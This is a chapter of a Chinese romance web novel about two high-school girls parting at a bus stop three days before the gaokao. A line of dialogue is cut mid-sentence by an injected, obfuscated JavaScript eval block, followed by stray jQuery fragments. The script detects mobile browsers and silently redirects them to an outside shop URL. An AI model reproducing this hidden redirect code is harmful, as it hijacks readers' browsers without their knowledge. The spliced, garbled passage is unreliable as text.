六月三号，高考前三天。
学校放假了。教学楼里空荡荡的，所有的课桌椅都被收拾干净了，黑板擦得一尘不染，倒计时牌被人取下来，墙上留下一块颜色深浅不一的方形印迹。高三的教室像一间间被清空的货架，曾经堆满卷子和笔迹的地方现在只剩下空气和回声。
宁杳在宿舍收拾东西。
她把课本一摞一摞地码进纸箱里，卷子按科目分类扎好，笔袋里所有的笔都试了一遍确保有水。最后她把枕头掀起来，拿起下面那个铁盒子。
盒子还是那个盒子。银灰色的金属外壳，边角被她摩挲过太多次，有一小块地方褪成了更浅的颜色，像被时间磨薄了一层。她把盒子打开，把里面的东西一样一样看了一遍——第一张纸条、生日蛋糕的包装绳、矿泉水瓶的绿色标签、贴纸包装袋、三张数学提纲里夹着的那页草稿、两张星星贴纸的底纸、"八十天"那张、两颗星星并排的那张、"今天开始不隔了"那张、还有她从右楠穗笔袋上偷偷撕下来的半片贴纸边角。一共十一件。每一件都是右楠穗留下的痕迹，被她像收集雪片一样攒了起来。
她看了很久，然后把盒盖合上，用一根橡皮筋箍住，放进了书包最底层。拉链拉好，拉了两遍。
她背着书包走出宿舍楼。五月的尾巴已经过去了，六月的气息扑面而来，温热、明亮、带着一点焦灼的干燥。槐花谢了，树上的叶子绿得发黑，在风里哗啦啦地翻动，露出银白色的背面。
她走到校门口的时候停住了。
老槐树底下靠着一个人。右楠穗穿了一件白色的短袖T恤，牛仔裤，白色运动鞋，书包单肩挎着，手里拎着两杯奶茶。她靠在树干上，一条腿微屈着，低头看手机。听到脚步声她抬起头来，笑了一下。
那个笑容宁杳见过。第一次见是在高一医务室的门缝里，第二次见是在高三教室的晨光里，后来见了无数次。但这一次不一样——这一次的笑里没有藏着什么，没有"顺手"的掩饰，没有"普通朋友"的隐瞒。它就是笑，干干净净地亮在那里，像六月正午的光。
"这杯是你的。"右楠穗把其中一杯奶茶递过来。宁杳接了，手指碰到她指尖的一瞬间，杯壁上的冷凝水凉凉的，她的指尖是暖的。
"三天之后见。"右楠穗说。
宁杳握着奶茶，低头看了看杯盖上贴的标签——是草莓味的，常温。她记得自己没有告诉过右楠穗自己喝什么口味，但右楠穗就是知道了。
"三天之后，"宁杳抬起头看她，"你想看的那个盒子，我带上了。"
右楠穗的目光落在她背上的书包上，停了一下。
"你带回家了？"
"放在家里不放心。"
"怕我反悔不看？"
"怕你找不到机会看。"
右楠穗看着她，嘴角的弧度加深了一点。她把手里那杯奶茶的吸管拆开插进去，喝了一口，然后偏了偏头示意校门口的方向。
"走吧。送你到车站。"
两个人并肩走在校门外那条人行道上。六月的光从头顶洒下来，把一切都照得太亮了——柏油路面泛着白光，树叶的轮廓锋利得像刀裁的，两个人的影子被压缩成短短的两团，紧挨着向前移动。路边的小店关了门，墙上还贴着几个月前的高考加油横幅，红色的布被晒得褪了色，边角在风里掀起来又落下去。
到了公交站，宁杳停下来。右楠穗也停下来。她们站在站牌下面，头顶有一片窄窄的遮阳棚，把一小块阴影投在两个人身上。
"你坐几路？"宁杳问。
"我走回去，我家近。"
"那你陪我到车来？"
"废话。"
宁杳笑了一下，低头喝了一口奶茶。草莓味的，微甜，凉凉的滑进喉咙里。她把杯子的纸标签撕下来一个小角，在手指间捻着。
"右楠穗。"
"嗯？"
"三天之后考完英语，你是跟我一起走还是跟你爸妈走？"
右楠穗想了想："我妈说要来接我。但我可以让她在门口等一会儿。"
"等多久？"
"等到你出来。"
宁杳握着奶茶杯的手指紧了一下。她没有抬头，声音平平的："那万一我出来得晚。"
"那就等到晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716610|208532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。"
"万一你妈等急了。"
"她等急了会打麻将。"
宁杳终于抬起头来。右楠穗靠在站牌旁边，一只手插在裤兜里，另一只手举着奶茶杯，歪着头看她，姿态散漫得跟平时一模一样。但她的眼睛里有光——六月正午的日光从遮阳棚的缝隙里漏下来落在她瞳孔里，变成两小颗亮晶晶的圆点。
"等我出来之后呢？"宁杳问。
右楠穗没有立刻回答。她的目光从宁杳脸上移开，落在远处正在驶近的一辆公交车上，眯了一下眼。
"之后再说。"
那辆公交车到站了，车门打开的时候发出一声泄气般的闷响。宁杳看了右楠穗一眼，把奶茶杯拿好，背了一下书包，往车门方向走。她迈上台阶的时候回头看了一眼——
右楠穗还站在站牌底下，手插在兜里，微微歪着头。她的嘴动了动，像是说了两个字，但公交车发动的声音太大了，宁杳没听清。
车门关上了。公交车往前开，宁杳坐在靠窗的位置，隔着玻璃往外看。右楠穗站在原地没有走，她看着公交车开远，然后举起手里的奶茶杯晃了一下。
宁杳把脸贴在玻璃上，看着她变成一个越来越小的点，最后被转弯处的树影挡住了。她把脸收回来，低头看着手里那杯还没喝完的奶茶，标签上的字被她的指腹蹭模糊了一点点。
她看了很久，然后把奶茶盖上盖子，小心翼翼地放进书包侧袋里，跟铁盒子放在同一层。
三天。七十二个小时。四千三百二十分钟。
她把书包抱在怀里，靠着车窗，闭上眼睛。车窗外六月的风吹进来，热热的，带着柏油路面被晒过的气味。公交车晃晃悠悠地往前开，把她载向家里的方向。
她心里只有一个念头。
三天之后，考完最后一场英语，走出考场，她要在校门口看见一个人。
那个人会靠在老槐树底下等她，手里可能没有奶茶了，但还是那个歪头的姿势，还是那种散漫的笑。
然后她会走过去，把书包里那个铁盒子拿出来。
说一句，你看，我从很久以前就在攒了。